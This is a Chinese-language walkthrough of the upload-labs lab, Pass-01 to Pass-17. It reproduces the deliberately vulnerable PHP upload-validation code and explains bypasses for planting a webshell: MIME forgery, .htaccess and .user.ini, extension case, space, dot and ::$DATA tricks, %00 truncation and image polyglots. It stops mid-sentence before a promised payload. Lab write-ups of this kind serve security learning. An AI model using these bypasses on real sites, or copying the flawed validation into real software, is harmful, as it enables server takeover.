文件上传漏洞原理

一些web应用程序中允许上传图片、视频、头像和许多其他类型的文件到服务器中。

文件上传漏洞就是利用服务端代码对文件上传路径变量过滤不严格将可执行的文件上传到一个到服务器中，再通过URL去访问以执行恶意代码。

非法用户可以利用上传的恶意脚本文件控制整个网站，甚至控制服务器。这个恶意的脚本文件，又被称为WebShell，也可以将WebShell脚本称为一种网页后门，WebShell脚本具有非常强大的功能，比如查看服务器目录、服务器中的文件，执行系统命令等。

该靶场通过docker搭建

切换root用户

在docker镜像仓库搜索upload-labs镜像

dockder search upload-labs

下载upload-labs镜像，并在本地镜像库查看是否下载成功

docker pull cuer/upload-labs

docker images

.运行镜像，将镜像内的90端口映射到本地的80端口上面。

-p 90:80第一个90为本地90端口，第二个80为镜像内服务端口

docker run -d -p 90:80 cuer/upload-labs

浏览器访问本地查看即可

Pass-01

（js验证）

先传了一个php文件，发现不允许直接上传

我们查看一下源代码，从form表单可以看出他在使用了onsubmit这个函数，触发了鼠标的单击事件，在表单提交后马上调用了return checkFile这个函数对上传的文件进行检查

绕过方式一：

直接按F12 把onsubmit这个直接删除掉即可。当提交表单时执行一段 JavaScript。它只认true或者false.如果不返回值，则默认为true

上传同样的文件，蚁剑链接即可

绕过方式二：

我们还可以使用抓包修改图片马，把jpg后缀更改为php即可

直接拿命令执行来检验，上传成功

源码分析

我们来看这一关的源码

通过getElementsByName获得表单元素，它获得的也是类数组，如果想准确得到某一个元素，可以使用数组下标的方式获取，document.getElementsByName('upload_file')[0].value;就获得了文件名。

接着用if语句判断上传文件是否为空。

substring() 方法用于提取字符串中介于两个指定下标之间的字符。

indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。

lastIndexOf() 方法获取后缀名

返回指定值在调用该方法的字符串中最后出现的位置，如果没找到则返回 -1。从该字符串的后面向前查找，从 fromIndex 处开始。字符串中的字符被从左向右索引。首字符的索引（index）是 0，最后一个字符的索引是 stringName.length - 1。if (allow_ext.indexOf(ext_name + "|") == -1) ,在允许上传的后缀名里查找刚刚提取出的后缀名，如果找不到indexOf()函数会返回-1，这样就判断出了

function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;alert(errMsg);return false;}
}

Pass-02

（MIME校验）

MIME基础：

MIME：多用途互联网邮件扩展协议。用途为根据文件后缀名判断文件类型，用什么应用程序打开，但是在这里是根据文件类型判断后缀名。$_FILES['myfile']['type']文件的MIME类型，需要浏览器提供该信息的支持，例如"image/gif"MIME 给出的是文件的MIME信息，此信息可以用来在HTTP Conten-type 头信息中发送正确的信息，如：header("Cotent-type:image/gif")

绕过方式：

知道这一关是MIME验证，就是会检查求情包，修只对文件类型（type）进行了验证，必须要是image/jpeg或者image/png或者image/gif的格式，没有对后缀进行验证，只需要使用bp抓包将Content-Type:的参数修改成image/jpeg或者image/png或者image/gif其中的一种，进行绕过就好

直接上图片马了，继续修改后缀为php

上传成功，追过去图片的路径命令执行也成功。

源码分析

我们来看一下这关的源码

检查submit、upload文件夹是否存在

if (isset($_POST['submit'])) {if (file_exists($UPLOAD_ADDR))

$FILES数组

$_FILES['userfile']['name']
客户端机器文件的原名称。

$_FILES['userfile']['type']
文件的 MIME 类型，需要浏览器提供该信息的支持，例如“image/gif”。

$_FILES['userfile']['size']
已上传文件的大小，单位为字节。

$_FILES['userfile']['tmp_name']
文件被上传后在服务端储存的临时文件名。

$_FILES['userfile']['error']
和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。

判断文件的 MIME 类型，||是或的符号

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

move_uploaded_file(上传的文件的文件名，移动文件到这个位置）

move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name']))

该关卡总代码如下：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '文件类型不正确，请重新上传！';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';}
}

Pass-03

（文件后缀名校验，黑名单绕过）

源码分析：

设置了一个黑名单数组 $deny_ext，然后对传入的文件名进行处理（），这里使用了数组的方式，设置的黑名单，不允许.asp .aspx .php .jsp的后缀名进行上传。

最终目标是利用in_array()函数判断文件后缀是否在黑名单里，如果不在里面，就用move_uploaded_file()函数进行文件上传的操作了，那么这里一旦黑名单过滤不全，就会导致可执行webshell传入后台。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');  //黑名单数组，可以发现过滤的并不全$file_name = trim($_FILES['upload_file']['name']);  //trim — 去除字符串首尾处的空白字符（或者其他字符）$file_name = deldot($file_name); //删除文件名末尾的点$file_ext = strrchr($file_name, '.'); //strrchr — 查找指定字符在字符串中的最后一次出现指定字符的位置并返回该位置及之后的字符串部分$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

这里可以使用其他的php的别名进行绕过：.php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 （但是这里是有前提条件的）就是对方的服务器的配置有对这些php其他的文件名配置了解析的设置，否认上传上去了，还是解析失败。

配置好了对应的解析，直接修改文件名就好了把1.php修改成配置的对应的解析的文件名即可

Pass-04

（黑名单验证.htaccess）

.htaccess功能介绍：

htaccess文件是Apache服务器中的一个配置文件。这个文件的可以不用获得root的权限，就可以更改这个目录下的所有的文件配置。那么说明只要创建一个.htaccess的文件，并且写入php的配置，上传到这个服务器上，那么这个.htaccess所在的目录下的所有文件的配置就会都修改成转换成php的解析格式。（.htaccess文件只对Apache服务器有效）。

源码分析：

和pass03一样，使用了一个黑名单的限制，对文件的后缀进行验证，并且限制的比之前的更多了

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

我们可以从黑名单中看出没有对.htaccess进行验证，那么我们就可以使用.htaccess进行绕过

先上传.htaccess文件来转换解析成php文件

再上传2.jpg文件

直接追进去尝试命令执行成功

Pass-05

（文件名后缀验证拼接或.user.ini绕过）

源码分析：

和第5关一样，甚至把.htaccess都进行了黑名单验证

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式一：

这关可以看出很难绕过了，对过滤也十分完整了

但是我们可以看到这里$file_name = deldot($file_name);//删除文件名末尾的点，重点就是这里。在代码中可以看出对所有的过滤都是采用的是一次性过滤，这里删除末尾的点. 只删除了一次，那么我们就可以使用点+空格+点绕过

deldot（）这个函数的作用就是删除末尾的点，当检查到末尾的点时，他会进行删除，然后继续先前检测点，但是这个deldot这个函数遇到空格会停下来，相等于碰到空格就终止操作。所以我们只要在上传文件的时候使用点+空格+点绕过就好了，这样我们在检查的文件原本是1.php. . ，就变成了1.php. ，那么1.php. ,既不在黑名单中又可以成功进行绕过，又利用了系统的特性，在保存这个文件的时候系统又自动去除掉了1.php. 末尾的点。最终保存在电脑的文件就变成了1.php

绕过方式二：

（攻防世界 easyupload也有类似题目）

.user.ini 其实就是用户自定义的 php.ini

写入文件 auto_prepend_file = 木马名

先上传 .user.ini ，再上传木马文件即可

Pass-06

（文件名后缀验证，大小写绕过）

源码分析：

和之前的源码进行对比一下，可以发现没有使用strtolower()这个函数，把后缀都转换成小写，那么我们就可以使用大小写的方式绕过黑名单。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

直接改成PhP的后缀上传绕过即可

Pass-07

（文件名后缀验证，空格绕过）

源码分析：

trim — 去除字符串首尾处的空白字符（或者其他字符）

从源码中可以看出没有对文件名后缀的空白使用trim()进行过滤，借助windows系统的特性，文件名中的空格在最后保存文件时会被作为空处理，最后在保存的时候把后面的空格自动删除掉。但是在程序中检查代码的时候检查到空格却不能自动删除空格。同时又绕过了黑名单的验证

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

通过抓包上传php文件，后面跟一个空格就可以

Pass-08

（文件名后缀验证，点绕过）

源码分析：

没有对末尾的点使用deldot(),进行过滤，没有删除末尾的点，利用windows的特性，在文件名的后缀加上点号，在最终保存的文件windows系统自动去除掉后面的点，保存文件并绕过黑名单的验证。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

上传一个.php的文件用bp抓包修改数据，在文件名的后缀添加点号就能绕过

Pass-09

（文件名后缀验证，::$DATA绕过）

基础知识：

NTFS文件系统包括对备用数据流的支持。主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中，此默认数据流称为：$ DATA。

php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名，且保持"::$DATA"之前的文件名他的目的就是不检查后缀名。

源码分析：

从发现这里没有使用 str_ireplace()对::$DATA进行过滤，没有替换成空

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

我们写入cmd.php::$DATA。服务器首先读取 $后是否为分区的可执行文件发现属于数据流所以服务器并不会认为这个是一个php文件但是操作系统知道这个是一个php文件， : : DATA就绕过黑名单, 上传成功后保存的文件名其实是cmd.php 。

Pass-10

（文件名后缀验证，点空格点）

源码分析：

该有的源码都有了，和第五关一样，可以通过点空格点拼接绕过

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

可以通过点空格点拼接绕过

Pass-11

（文件名后缀验证，双写绕过）

源码分析：

对文件名进行处理的代码只有这一句：

$file_name = str_ireplace($deny_ext,"", $file_name);

意思就是在上传的文件的文件名中把黑名单的后缀名去掉。假如我们上传一个phpinfo.php被过滤后就变成了phpinfo，就没有后缀无法解析了，但是她这次也是使用的是一次性过滤，比如说我们上传phpinfo.phpphp，那么在一次性被过滤后我们原本上传的phpinfo.phpphp,就变成了phpinfo.php。前面的php被匹配到替换成功，但是后面的第二个php没有被替换成空。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

绕过方式：

上传一个.php的文件用bp抓包修改数据，在文件名的后缀添加php即可

Pass-12

（文件名后缀白名单验证，GET 型%00 截断）

最终文件的存放位置是以拼接的方式，可以使用%00截断，但需要php版本<5.3.4，并且magic_quotes_gpc关闭。magic_quotes_gpc 着重偏向数据库方面，是为了防止sql注入，但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

原理：

00截断利用的是php的漏洞，php的基础是C语言实现的，在C语言中认为%00是结束的符号，所以就基础了c的特性，在PHP<5.3.4的版本中，在进行存储文件时碰见了move_uploaded_file这个函数的时候，这个函数读取到hex值为00的字符，认为读取结束，就终止了后面的操作，出现00截断

源码分析：

主要分析在源码旁边了

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');  //这里使用了数组做了一个白名单$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);  //截取文件名的后缀从点的位置开始截取，并且使用的是循环的方式截取，不是采用一次性对($_FILES['upload_file']['name']进行验证if(in_array($file_ext,$ext_arr)){  //判断上传的文件名后缀是否在白名单中，如果在进入循环。$temp_file = $_FILES['upload_file']['tmp_name']; //进入循环，给上传的文件放在一个临时的目录下，并且生成一个临时文件名$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //使用$_GET['save_path']接受自定义的路径，并且随机从10，99的数组在随机生成一个文件名，在拼接上$file_Ext 前面截取的后缀名。if(move_uploaded_file($temp_file,$img_path)){ //最终将前面保存的$temp_file临时文件移动 到$img_path$is_upload = true;} else {$msg = '上传出错！';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件！";}
}

绕过方式：

首先使用的是白名单，从代码中可以看出他首先对上传的文件名的后缀进行了验证。

所以我们在第一步上传$_FILES['upload_file']['name']，文件名的时候必须后缀是.jpg.png.gif的格式。绕过后缀名的验证后，进入到循环。最后重点他保存的文件是 $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;，由上传路径决定的，原参数$_GET['save_path']，save_path=../upload/。那么上传路径可控的。我们就使用%00截断，把上传的路径修改为文件名。最后利用move_uploade_file这个函数发挥出%00截断的功能。

Pass-13

（文件名后缀白名单验证，POST型%00 截断）

源码分析：

与上一关源码基本一样，只是上传路径改成了post方式

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件！";}
}

绕过方式：

操作和上一关差不多，区别就是这里的%00需要在hex页面手动写上00

POST里面加%00 POST不会自动解码，你在POST中输入的%00 他会认为是普通文本的%00，那么普通文本他就会编码成%25%30%30.不是我们想要的%00，所以我们需要自己把他先进行编码

Pass-14

（文件内容检查，文件头验证图片马）

源码分析：

这一关对图片的内容进行了验证，本题给了提示此关检查的是文件头部信息，通过检查文件的前2个字节，检查上传文件二进制的头部信息，来进行判断文件的类型。

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

绕过方式：

这一关修改后缀是没有用的。使用图片码的方式绕过。

但是上传的图片并不能当成php文件解析，还要利用文件包含漏洞，访问这个文件即可

Pass-15

（getimagesize图片马）

源码分析：

通过使用getimagesize()检查是否为图片文件， getimagesize() 函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

绕过方式：

依然使用上一关图片码的方式绕过。

Pass-16

（exif_imagetype图片马）

源码分析：

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。返回值与getimage()函数返回的索引2相同，但是速度比getimage快得多。需要开启php_exif模块。

function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break;    default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知，上传失败！";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错！";}}
}

绕过方式：

依然使用上两关图片码的方式绕过。

Pass-17

（文件内容检查，图片二次渲染）

参考：Upload-Labs第Pass-16通关（二次渲染绕过）详解 - 付杰博客 (fujieace.com)

源码分析：

这一关主要就是使用了imagecreatefrom系列的函数。

basename(path[,suffix]) ，没指定suffix则返回后缀名，有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置，并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif()：创建一块画布，并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg()：创建一块画布，并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng()：创建一块画布，并从 PNG 文件或 URL 地址载入一副图像

这个函数的主要功能就是，使用上传的图片去生成一张新的图片，生成的结果会返回一个变量，成功返回ture，失败返回false。并且这个函数，可以在他进行重新创建图片的时候，会将我们图片的信息和非图片的信息进行分离，也就是说如果我们在一张图片中加入了代码，那么他会在你上传后把这张图片在新建的时候把其中的代码筛选出来，并且去除。最后只保留你的图片信息，在进行排序重建。图片的二次渲染的操作就是在imagecreatefrom这里进行的

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息，文件名，类型，大小，临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型，合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错！";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错！";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片！";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片（使用用户上传图片生成的新图片）$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错！";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";}
}

绕过方式一（gif的二次渲染绕过）：

对于做文件上传之二次渲染建议用GIF图片，相对于简单一点

上传正常的GIF图片下载回显的图片，用010Editor编辑器进行对比两个GIF图片内容，找到相同的地方（指的是上传前和上传后，两张图片的部分Hex仍然保持不变的位置）并插入PHP一句话，上传带有PHP一句话木马的GIF图片。这里发现一张网上某个大佬提供的GIF图片，可以直接使用文件上传之二次渲染(专用图).zip - 蓝奏云

具体制作gif流程可参考这篇大佬的博客。写入一句话的时候不能破坏图片不然就是无法注入文件上传漏洞upload-labs靶场通关教程 1-20（带原理）_文件上传漏洞靶场_DDosG的博客-CSDN博客

绕过方式二（png的二次渲染绕过）：

直接上大佬的代码，运行脚本即可生成，这里的一句话木马是:

